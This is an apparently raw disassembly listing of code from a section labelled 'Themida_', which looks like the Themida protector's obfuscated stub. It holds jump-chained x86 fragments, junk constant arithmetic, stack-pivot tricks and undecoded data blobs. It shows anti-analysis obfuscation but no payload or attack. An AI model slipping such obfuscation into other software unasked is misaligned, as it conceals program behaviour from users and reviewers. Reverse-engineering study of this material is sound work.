		mov	ecx, edx
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		rep movsd
		add	esp, [edx+38h]
		push	62D5h
		jmp	loc_54D3F8
; ---------------------------------------------------------------------------
		dd 4240483h, 50242C8Bh,	42E95854h, 810000A6h, 0EE026BF2h
		dd 9E11E927h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5425AE:				; CODE XREF: Themida_:0054A180j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_541B5E
; ---------------------------------------------------------------------------
		db 80h,	0EFh, 0ABh
		dd 535BFD88h, 0DA88EB88h, 0F1B1595Bh, 285AD128h, 240C8BC8h
		dd 4C481h, 0D8280000h, 0AAB35366h, 5B66D800h, 0E904EC83h
		dd 78DDh, 240C8B66h, 1E0868h, 24348900h, 0C681E689h, 4
		dd 7715E9h
		db 0
; ---------------------------------------------------------------------------


loc_542605:				; CODE XREF: Themida_:00544585j
		jmp	loc_541378
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 2C81240Ch, 0D091F24h, 24148B59h, 7239E9h
		db 0
; ---------------------------------------------------------------------------


loc_54261D:				; CODE XREF: Themida_:00548B99j
		add	ebp, 4
		jmp	loc_544A09
; ---------------------------------------------------------------------------
		dd 7BCA815Bh, 0E90DAF40h, 7F0Fh, 1F17B951h, 81411366h
		dd 2E00D6F1h, 0E9CF2147h, 8F1Eh, 476AE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54264E:				; CODE XREF: Themida_:005464CDj
		sub	edi, ecx
		pop	ecx
		xor	edi, offset dword_4A42CC
		and	edi, 7AC24126h
		sub	edi, 6E937154h
		inc	edi
		add	edi, 64937151h
		sub	edx, edi
		pop	edi
		jmp	loc_54C4E7
; ---------------------------------------------------------------------------


loc_542672:				; CODE XREF: Themida_:005417F7j
		mov	ebx, 533F79F9h
		jmp	loc_54420C
; ---------------------------------------------------------------------------
		dd 4240483h, 83242C8Bh,	0C58104C4h, 4, 5B1468h,	8888E900h
		dd 0F7810000h, 5FC27959h, 2D3C781h, 0FD89D761h,	60BDE9h
		dd 243C8B00h, 704CE9h, 4E5C100h, 1088E9h, 0BA525700h, 48A36805h
		dd 81E2D14Ah, 0FC52DCCAh, 43E2810Eh, 816FB60Dh,	0D5519DF2h
		dd 5AD7895Dh, 1C781h, 0C7810000h, 581B4DA2h, 7F27BD55h
		dd 0CD8117F4h, 5AA23A3Fh, 7F4FED81h, 39E93C71h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5426FB:				; CODE XREF: Themida_:00543B2Bj
		push	edi
		mov	edx, [esp]
		add	esp, 4
		pop	edi
		jmp	loc_541FED
; ---------------------------------------------------------------------------
		db 66h
		dd 6866E1F7h, 89663C81h, 50662414h, 0EC5AE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54271E:				; CODE XREF: Themida_:00543153j
		add	eax, edi
		add	eax, 6DD72D0Ch
		add	eax, 49DB20D1h
		pop	edi
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		and	ecx, esi
		pop	esi
		jmp	loc_54D84A
; ---------------------------------------------------------------------------


loc_542740:				; CODE XREF: Themida_:00543BC5j
		mov	esi, [esp]
		add	esp, 4
		pop	eax
		retn
; ---------------------------------------------------------------------------
		dd 0FFEC2BE9h, 24048FFFh, 7EB0E9h, 50C98100h, 814CE61Fh
		dd 0F23F68C1h, 9056E945h, 0B80000h, 1000000h, 1911E9C8h
		dd 9BBE0000h, 0C100D30Ch, 0EEC107EEh, 0D8A6808h, 4890000h
		dd 3064B824h, 0BB53749Ah, 70B960CFh, 0CB81D3F7h, 0D2417B5h
		dd 2DEEE9h, 0E9EF8900h,	558Dh, 42474FFh, 27E2E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5427AE:				; CODE XREF: Themida_:00547051j
		pop	ebp
		add	ebp, 6A9A0A1Fh
		neg	ebp
		push	edi
		jmp	loc_546648
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0FF545524h, 525D2434h, 55B5E9h, 81CA0100h, 936D58EAh
		dd 28E95936h, 53FFFFF5h, 0F75A5B52h, 0C1D387D2h, 0D3F708E3h
		dd 0FFD1EB81h, 0DE21BC10h, 69E6815Bh, 5168F14Fh, 0F50BD5B9h
		dd 0F7D1F73Bh, 1E981D9h, 0E9000000h, 89A3h, 0BCE9DEF6h
		dd 0FF0000A5h, 58042474h, 1443E9h, 4B900h, 0F7E90000h
		dd 83000085h, 28E904ECh, 5A000040h, 19BEE9h, 36A06800h
		dd 1C8B3BA7h, 8D79E924h, 0CFFE0000h, 53B9E9h, 0E9C6FE00h
		dd 7414h, 6605E3C0h, 87BB652h, 148B66F3h, 2C48124h, 50000000h
		dd 4055854h, 2D000000h,	4, 5C240487h, 50240C89h, 0E5883AB4h
		dd 8BEB2858h, 0C483240Ch, 92F38004h, 514DEB80h,	0D1F629B1h
		dd 0FFF3A2E9h, 0D9E958FFh, 0C1000022h, 0E78103E7h, 6970533Dh
		dd 0E903E7C1h, 0AD64h
; ---------------------------------------------------------------------------


loc_5428AC:				; CODE XREF: Themida_:0054559Ej
		jmp	loc_541378
; ---------------------------------------------------------------------------


loc_5428B1:				; CODE XREF: Themida_:00541A2Cj
		mov	ecx, [esp]
		jmp	loc_54CF7F
; ---------------------------------------------------------------------------
		db 68h,	5Fh, 6Bh
		dd 34890000h, 1633BE24h, 20E9521Ch
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5428CB:				; CODE XREF: Themida_:00541DA3j
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_546368
; ---------------------------------------------------------------------------


loc_5428D9:				; CODE XREF: Themida_:00546F93j
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	edi
		push	ecx
		push	5CA9250Eh
		pop	ecx
		mov	edi, 0A356DAF6h
		jmp	loc_543420
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 24048F54h, 8173E9h, 0E953AC00h, 36B6h, 3358C501h
		dd 2C31242Ch, 242C3324h, 0E089505Ch, 405h, 42D00h, 0D2E90000h
		dd 0AD00008Ah, 33D968h,	24348900h, 9C6BF068h, 2434FF5Bh
		dd 0FFF78AE9h, 245429FFh, 2434FF04h, 0A73FE95Ah, 8B660000h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_5431C3
; ---------------------------------------------------------------------------


loc_54295F:				; CODE XREF: Themida_:005495B3j
		push	dword ptr [edi+eax*4]
		push	4320h
		mov	[esp], eax
		jmp	loc_54C2FE
; ---------------------------------------------------------------------------
		db 89h
		dd 0CEE95EF2h, 5800006Ch, 0FE51F380h, 3E4D68CBh, 0C890000h
		dd 30C3B524h, 907DE9EBh, 0C3800000h, 0C0B60FF2h, 6887048Dh
		dd 182Ah, 0E9240489h, 0FFFFE9D4h, 0B6241489h, 8BF5886Dh
		dd 0C4812414h, 4, 0E7E9E800h, 0E90000A3h, 0FFFFE9B8h, 0B470B652h
		dd 5AF42899h, 8870EC80h, 0C78058E7h, 0E9FE0800h, 2B07h
		dd 5001EF80h, 8839B753h, 3BE95BFCh, 68000022h, 4D18h, 0E9240C89h
		dd 7441h, 0F6F6EE80h, 0CDEE80DEh, 345AF028h, 0E9C188F6h
		dd 26AFh
; ---------------------------------------------------------------------------


loc_542A08:				; CODE XREF: Themida_:005469D8j
		mov	esi, 55261E7Fh
		xor	esi, 43752736h
		mov	eax, esi
		pop	esi
		push	esi
		jmp	loc_549F0A
; ---------------------------------------------------------------------------


loc_542A1C:				; CODE XREF: Themida_:0054222Bj
		mov	edi, ecx
		pop	ecx
		mov	edx, edi
		pop	edi
		sub	edi, 701A6C33h
		jmp	loc_5458A6
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 87000000h, 665C2434h, 9C240CFFh, 0FFE937E9h,	24048BFFh
		dd 2517E955h, 0DE680000h, 8900005Eh, 21E92414h,	20FFFFE9h
		dd 0E99C2404h, 0FFFFE918h, 0E940478Fh, 0FFFFE910h
; ---------------------------------------------------------------------------


loc_542A68:				; CODE XREF: Themida_:00548881j
		add	esp, 4
		push	4B90h
		mov	[esp], eax
		push	esi
		jmp	loc_549FFD
; ---------------------------------------------------------------------------
aJcqjXs4	db 'ºJCŸj)ÂXé',9,'4',0
		dd 16B95100h, 817BB14Eh, 98DAA3E9h, 59C80151h, 6905E9h
		dd 0D0895A00h, 8324148Bh, 348B04C4h, 49D5E924h,	0C6810000h
		dd 4, 4C681h, 34870000h, 0EB805C24h
		db 2Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 2
		jmp	loc_54CC53
; ---------------------------------------------------------------------------
		db 2Ch,	0E1h, 28h
		dd 59E104C8h, 3E67E952h, 0E9810000h, 753477h, 8759CA01h
		dd 0CE92414h, 81000041h, 8BFCAEAh, 5AD701D5h, 3304C783h
		dd 3C31243Ch, 243C3324h, 2434FF5Ch, 0FFF85EE9h,	4C481FFh
		dd 52000000h, 7AF6E9h, 58C23100h, 7ED0EA81h, 0D389AEC3h
		dd 0FFF66CE9h, 0BBE981FFh, 109535Fh, 0BBC181C1h, 8B09535Fh
		dd 82E92404h, 89000091h, 4C681E6h, 81000000h, 4EEh, 24348700h
		dd 243C895Ch, 59BDBB53h, 47BF4CA7h, 81B358A6h, 0DC135EEFh
		dd 81DF010Fh, 0DC135EC7h, 0E5E95B0Fh, 6600001Ch, 56240C8Bh
		dd 5351E689h, 517366BBh, 9F68554Eh, 0E953F636h,	3EB5h
		dd 506E0C1h, 37CFAA75h,	0DAE9C201h, 89000044h, 6866241Ch
		dd 9DE9545Dh
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_542BAB:				; CODE XREF: Themida_:0054D706j
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_549698
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0DFh
		dd 0E91D1568h, 8387h
; ---------------------------------------------------------------------------


loc_542BC0:				; CODE XREF: Themida_:0054B9BAj
		pop	edx
		jmp	loc_545BC2
; ---------------------------------------------------------------------------


loc_542BC6:				; CODE XREF: Themida_:00546FC6j
		xor	edx, [esp]
		jmp	loc_54585E
; ---------------------------------------------------------------------------


loc_542BCE:				; CODE XREF: Themida_:00545F0Ej
		add	edx, 4
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		mov	eax, ebx
		pop	ebx
		add	edx, eax
		jmp	loc_5451BB
; ---------------------------------------------------------------------------
aMfq?sux	db '¬fQµ?éU•',0
		align 4
		dd 0F680C5B6h, 0FC0EE95Fh, 875FFFFFh, 0E95C2414h, 95C8h
		dd 468h, 0B9515900h, 205F328Bh,	641BE9h
		db 0
; ---------------------------------------------------------------------------


loc_542C19:				; CODE XREF: Themida_:00547062j
		sub	edx, ecx
		jmp	loc_548EF4
; ---------------------------------------------------------------------------


loc_542C20:				; CODE XREF: Themida_:00543847j
		mov	eax, esp
		add	eax, 4
		jmp	loc_542D41
; ---------------------------------------------------------------------------


loc_542C2C:				; CODE XREF: Themida_:00541842j
		mov	esp, [esp]
		jmp	loc_544F83
; ---------------------------------------------------------------------------
aBuPfkss	db 'îÇP”KSé»/',0
		align 10h
		dd 8B24048Fh, 0ED812424h, 3161298Ch, 30C5F581h,	0CD811BA5h
		dd 1CB05009h, 30D1C581h, 0E8218100h, 52FFE95Dh,	4F090000h
		dd 0C568591Ch, 8900003Bh, 29E9241Ch
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_542C77:				; CODE XREF: Themida_:0054B9EDj
		push	esi
		xchg	esi, [esp]
		inc	esi
		xchg	esi, [esp]
		pop	esi
		or	esi, 6BE65E28h
		jmp	loc_54999D
; ---------------------------------------------------------------------------
		db 58h
		dd 685BD829h, 643h, 4675E9h
		db 0
; ---------------------------------------------------------------------------


loc_542C99:				; CODE XREF: Themida_:0054BAF8j
		mov	ecx, [esp]
		add	esp, 4
		xor	edi, 28104881h
		jmp	loc_5432B7
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 5
		dd 11E5163h, 24148BD3h,	0FFEA0BE9h, 24248BFFh, 24040966h
		dd 0E6AEE99Ch, 5455FFFFh, 83242C8Bh, 0EC8104C4h, 4, 0B8240489h
		dd 5AE9597Dh, 0D826920Dh, 7FFB3552h, 38E95AF9h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_542CEF:				; CODE XREF: Themida_:005452E4j
		add	ebx, eax
		sub	ebx, 6D23488Ch
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54B854
; ---------------------------------------------------------------------------
		dd 781CF181h, 0BE563F4Fh, 5D1D22A7h, 0F75EF129h, 15EAE9D1h
		dd 4BE0000h, 1000000h, 0B8505EF1h, 4, 0E958C101h, 0EA1h
		dd 8904EC83h, 51502404h, 2EA8E9h
		db 0
; ---------------------------------------------------------------------------


loc_542D41:				; CODE XREF: Themida_:00542C27j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		shr	ecx, 0Ah
		sub	esp, 4
		mov	[esp], ecx
		push	5A70h
		mov	[esp], ebx
		mov	ecx, [esp]
		add	esp, 4
		push	6989h
		mov	[esp], edx
		push	ecx
		add	dword ptr [esp], 381E6314h
		pop	edx
		jmp	loc_541CE7
; ---------------------------------------------------------------------------


loc_542D7D:				; CODE XREF: Themida_:0054902Fj
		push	eax
		push	ecx
		push	2FDD67C4h
		mov	ecx, [esp]
		jmp	loc_54247E
; ---------------------------------------------------------------------------
		dd 2869EF80h, 5A665BF8h, 4EC81h, 18E90000h, 0FE00003Ah
		dd 0CAF580C5h, 0E828F82Ch, 24B8E9h
		db 0
; ---------------------------------------------------------------------------


loc_542DAD:				; CODE XREF: Themida_:005476ACj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_542E62
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 25131D59h
		neg	edx
		add	edx, 73BE785Ch
		jmp	loc_544802
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 0C2010000h, 45F5E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_542E16:				; CODE XREF: Themida_:0054B38Cj
		sub	bl, 9Ch
		jmp	loc_5455DE
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8B24048Fh, 0C892424h, 0E546E924h,	8FBAFFFFh, 0E900AC4Fh
		dd 0FFFFF767h, 815AD031h, 2C15CBEEh, 0E9C60163h, 7D92h
; ---------------------------------------------------------------------------


loc_542E4C:				; CODE XREF: Themida_:00545D50j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54B56E
; ---------------------------------------------------------------------------


loc_542E55:				; CODE XREF: Themida_:00542011j
		pop	ebx
		add	esp, 4
		xor	edx, 0A9394AC7h


loc_542E62:				; CODE XREF: Themida_:00542DDEj
					; Themida_:00546B40j
		push	dword ptr [edi+24h]
		push	edx
		mov	edx, 596529Eh
		jmp	loc_547870
; ---------------------------------------------------------------------------
		dd 5C241487h, 24048B66h, 8904EC83h, 0EC81242Ch,	4, 0E9242489h
		dd 8661h, 3CBC281h, 50528C18h, 0E87BF7B8h, 24442912h, 81595804h
		dd 0E87BF7C1h, 0CB295A12h, 5E45E9h, 0A7C38100h,	66688C56h
		dd 0BDE930FFh
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_542EBB:				; CODE XREF: Themida_:00546713j
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		push	1C7Fh
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		not	edi
		jmp	loc_545F88
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 66F1F624h, 0E9CCB60Fh, 7BA5h, 9731F581h, 0E989C2ECh
		dd 64DE95Dh, 34FF0000h,	0FA685924h, 89000031h, 0FF542414h
		dd 565A2434h, 0C681E689h, 4, 51F3E9h, 71BF5700h, 8138EF6Ch
		dd 1E38A8C5h, 81FD2925h, 1E38A8EDh, 0A197E925h,	0C3810000h
		dd 4, 5C241C87h, 0ED81D501h, 6AF95ECDh,	242C335Ah, 33242C31h
		dd 248B242Ch, 9CC88424h, 0FFE41BE9h, 3884BBFFh,	0EB813772h
		dd 658A08EBh, 8103EBC1h, 0A62ED4E3h, 0C6E3810Dh, 0E9327476h
		dd 1DCDh
; ---------------------------------------------------------------------------


loc_542F7C:				; CODE XREF: Themida_:00543D16j
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5413A2
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 39FE5CFBh, 24148758h, 124248Bh, 0E99C2404h, 0FFFFE3D8h
		dd 4508EF81h, 0C7811A43h, 192F3145h, 51BBE9h, 9BC38100h
		dd 0E93E7966h, 0FFFFE5E5h, 7D6B9268h, 0C2815A6Ch, 6FEC5D66h
		dd 0E95AD589h, 532Eh
; ---------------------------------------------------------------------------


loc_542FD0:				; CODE XREF: Themida_:00543A5Ej
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		push	659Fh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_548187
; ---------------------------------------------------------------------------
		db 5Ah,	83h, 0ECh
		dd 24148904h, 806AB450h, 0C4FEA5E4h, 5302E4C0h,	0F659B151h
		dd 89C180D1h, 59CF88h, 0F4A5E9FCh, 1433FFFFh, 24143124h
		dd 8B241433h, 0E9F62424h, 0AA52E9h, 0E9E98900h,	8E9Fh
		dd 66FE3166h, 3166F231h, 0F23166D6h, 2EC81h, 89660000h
		dd 0FF662414h, 0E9022474h, 5AE7h, 0C8BC801h, 4C48124h
		dd 83000000h, 0E95002C0h, 0FFFFF7B3h, 2A9E95Bh,	0C5810000h
		dd 4, 4ED81h, 2C870000h, 12E924h, 0D8010000h, 0E9C8015Bh
		dd 22A5h
; ---------------------------------------------------------------------------


loc_543084:				; CODE XREF: Themida_:0054D126j
		add	eax, 2
		jmp	loc_543CDD
; ---------------------------------------------------------------------------
		dd 240C895Ch, 0C181E189h, 4, 0F6B850h, 0F23513CDh, 0E913CD00h
		dd 0FFFFEFF2h, 83243C8Bh, 0C08304C4h, 4EC8102h,	0E9000000h
		dd 9E7Dh, 4EC815Fh, 89000000h, 74FF2434h, 6EE90424h, 0FE00006Bh
		dd 0E7EF80CFh, 22E9042Ch, 8900006Eh, 4C781E7h, 81000000h
		dd 4ECh, 24048900h, 4B8h, 58C70100h, 0FFE380E9h, 240483FFh
		dd 24048F04h, 4240481h,	5D000000h, 0C9BF5751h, 0B9028F00h
		dd 1CEF391Bh, 815FF901h, 951EB7F1h, 57F18155h, 14AEB27h
		dd 0BE5659CDh, 0BA03C9Dh, 2069F681h, 0C6810C49h, 0F816E310h
		dd 875EF501h, 83E9242Ch, 5400002Fh, 3B2E9h
		db 0
; ---------------------------------------------------------------------------


loc_543149:				; CODE XREF: Themida_:00542385j
		sub	eax, 49DB20D1h
		sub	eax, 6DD72D0Ch
		jmp	loc_54271E
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 81242489h, 42404h
		dd 815E0000h, 4ECh, 24048900h, 4B8h, 58C60100h,	710E68h
		dd 241C8900h, 4BBh, 0E4C68100h,	13CAE1Bh, 88DDE9DEh, 34330000h
		dd 4095C24h, 0CDE99C24h, 0F7FFFFE1h, 81FD87D7h,	0F892B1EDh
		dd 685550B6h, 71F640F1h, 94E94D5Dh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5431C3:				; CODE XREF: Themida_:0054295Aj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		add	ebp, 2
		push	6905h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_547226
; ---------------------------------------------------------------------------


loc_543210:				; CODE XREF: Themida_:00549984j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5498F5
; ---------------------------------------------------------------------------
		dd 0AFEE8158h, 89F3B3F2h, 44315EF0h, 77E90424h,	1000016h
		dd 49B768C3h, 4890000h,	224EE924h, 8B660000h, 8568240Ch
		dd 89000015h, 0EC81240Ch, 4, 24048F54h,	4240483h, 43E95059h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54325F:				; CODE XREF: Themida_:005472A6j
		add	ebx, edx
		jmp	loc_54A512
; ---------------------------------------------------------------------------
		dw 0F589h
		dd 3FB0BE5Eh, 0EE297D0Bh, 55242C8Bh, 0C5815D54h, 4, 4C581h
		dd 2C870000h, 29E95C24h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54328B:				; CODE XREF: Themida_:00549839j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2A4F6210h
		sub	edx, 0E4C60853h
		push	ebx
		mov	ebx, 6EDF3502h
		jmp	loc_543452
; ---------------------------------------------------------------------------


loc_5432B7:				; CODE XREF: Themida_:00542CA8j
		sub	esp, 4
		mov	[esp], edi
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_543539
; ---------------------------------------------------------------------------
		db 81h
		dd 584A7CC6h, 81EE0178h, 584A7CEEh, 0F4C68178h,	0FF62BE1Dh
		dd 34FF2434h, 96E95D24h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5432F7:				; CODE XREF: Themida_:00543E1Dj
		add	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ecx
		jmp	loc_543560
; ---------------------------------------------------------------------------
		db 59h,	2 dup(0E9h)
		dd 81FFFFECh, 0BE7175E2h, 16F7E938h, 0EE810000h, 36546B5Eh
		dd 34FFF501h, 24348B24h, 565D5455h, 4BEh, 7822E900h, 814F0000h
		dd 0C76E69C7h, 14F7572Eh, 0EF815F24h, 0C664332Fh, 5181C581h
		dd 0FD0121B0h, 5181ED81h, 3C8B21B0h, 0E9545724h, 8012h
		dd 0EDEE840Fh, 5150FFFFh, 34516856h, 815E74CEh,	0A531A9F6h
		dd 0DEC6810Ah, 4655704Ah, 4FD9EE81h, 0F189D3DBh, 59C8895Eh
		dd 8004E9h, 5991BF00h, 0EFC1613Ch, 8374E905h, 34FF0000h
		dd 0EC835924h, 243C8904h, 0E8E95F54h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5433AB:				; CODE XREF: Themida_:0054BC6Fj
		mov	eax, [esp]
		add	esp, 4
		std
		push	1218h
		mov	[esp], edx
		mov	edx, 2BF060FDh
		push	edx
		not	dword ptr [esp]
		pop	edx
		shl	edx, 5
		sub	edx, 1
		push	edx
		xchg	edx, [esp]
		jmp	loc_548B85
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 1CD36659h, 95E99C24h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5433E3:				; CODE XREF: Themida_:00546BFAj
		dec	edx
		add	edx, 6EBB5053h
		push	ebx
		jmp	loc_542240
; ---------------------------------------------------------------------------
aI4R1yls	db '‰4$¾à1Ylé,',0Ah,0
		dd 0ABD5500h, 817B4814h, 86281FCDh, 5045E916h, 68AC0000h
		dd 6CAEh, 0B5240C89h, 0E9C5FE15h, 4EC0h
; ---------------------------------------------------------------------------


loc_543420:				; CODE XREF: Themida_:005428F5j
		add	edi, ecx
		jmp	loc_544551
; ---------------------------------------------------------------------------
		db 66h
		dd 660AD1BAh, 0EA81664Ah, 81662F67h, 66DB6AEAh,	0F0E9D029h
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54343F:				; CODE XREF: Themida_:0054598Aj
		sub	esi, 2DF34386h
		not	esi
		sub	esi, 5001392h
		jmp	loc_543BB0
; ---------------------------------------------------------------------------


loc_543452:				; CODE XREF: Themida_:005432B2j
		shr	ebx, 1
		jmp	loc_54C77C
; ---------------------------------------------------------------------------
		db 2Dh,	2, 0
		dd 5EE90000h, 5900008Ah, 31A4E9h, 15F5A00h, 0E9555EF3h
		dd 0FFFFEE8Dh, 4C481h, 8B660000h, 89572414h, 52468E7h
		dd 1C890000h, 70685224h, 0E9432C43h, 6373h
; ---------------------------------------------------------------------------


loc_543494:				; CODE XREF: Themida_:00546F58j
		pop	esp
		jmp	loc_546E90
; ---------------------------------------------------------------------------
		dw 4168h
		dd 8900003Ah, 5253242Ch, 0C61FEEBAh, 0EAC14A4Dh, 71D9E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5434B2:				; CODE XREF: Themida_:0054D5C2j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5440A0
; ---------------------------------------------------------------------------


loc_5434C0:				; CODE XREF: Themida_:005458EBj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54B9EA
; ---------------------------------------------------------------------------
		db 81h
		dd 5CB594EAh, 0FC58187h, 29651A69h, 0FED81D5h, 5A651A69h
		dd 0FFE50EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5434E5:				; CODE XREF: Themida_:00549893j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 2
		jmp	loc_5470D5
; ---------------------------------------------------------------------------
		db 0FFh
a4Xs		db '4$Xé"!',0
		align 4
		dd 4504C483h, 0B850DDF7h, 6A5E46CBh, 0ED2F1035h, 99ED811Eh
		dd 0E976624Dh, 1BC2h, 0F6390ABEh, 68E8E97Eh, 77FF0000h
		dd 59669D1Ch, 9C241CD3h, 0FFDE3FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_543539:				; CODE XREF: Themida_:005432D2j
		xchg	edi, [esp]
		pop	esp
		pop	edi


loc_54353E:				; CODE XREF: Themida_:0054BAC1j
					; Themida_:0054C888j
		push	12C6h
		mov	[esp], ebx
		jmp	loc_549786
; ---------------------------------------------------------------------------
		db 81h
		dd 4131A8F1h, 59CB296Fh, 88EB8158h, 0E9687E1Dh,	0FFFFFCCFh
; ---------------------------------------------------------------------------


loc_543560:				; CODE XREF: Themida_:00543304j
		mov	ecx, 4
		jmp	loc_54183C
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5B0424h, 248B2404h, 0C896624h, 0DDFAE924h,	0E94FFFFFh
		dd 1213h, 83240C8Bh, 0C6E904C4h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54358F:				; CODE XREF: Themida_:00548A2Cj
		inc	byte ptr [esp]
		pop	edx
		sub	dl, 14h
		xor	al, dl
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_54920D
; ---------------------------------------------------------------------------
		db 33h
		dd 0C31240Ch, 240C3324h, 6624248Bh, 9C240401h, 0FFDDAFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5435C9:				; CODE XREF: Themida_:005482A4j
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edi
		mov	edi, 4
		sub	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_54449F
; ---------------------------------------------------------------------------
		dd 24348157h, 69865999h, 99F3815Bh, 0E9698659h,	8DF3h
; ---------------------------------------------------------------------------


loc_543608:				; CODE XREF: Themida_:0054AE8Dj
		neg	ebx
		sub	ebx, 2F02268Fh
		sub	esi, 3607330Fh
		add	esi, ebx
		add	esi, 3607330Fh
		pop	ebx
		jmp	loc_54B413
; ---------------------------------------------------------------------------
aU@zIiusys	db 'U½@Z',0Dh,'i‰îéYS',0
		db 0
; ---------------------------------------------------------------------------


loc_543631:				; CODE XREF: Themida_:0054AC8Aj
		add	esi, 4
		push	eax
		push	ebp
		push	0DDE37A1h
		pop	ebp
		push	ecx
		mov	ecx, 58EA7D15h
		sub	ebp, ecx
		pop	ecx
		sub	ebp, 0B4F3BA88h
		push	edi
		mov	edi, ebp
		jmp	loc_548C9B
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 275781Fh, 0E958C101h, 1126h,	24048B66h, 0E95D5455h
		dd 2DA8h, 1000F281h, 0ED814850h, 7E822D13h, 0C581D501h
		dd 7E822D13h, 242C335Ah, 33242C31h, 0E95C242Ch,	8022h
		dd 2404895Ch, 582414F7h, 2474FF50h, 2453E904h, 248B0000h
		dd 21D3E924h, 248B0000h, 48F6624h, 31AFE924h, 15D0000h
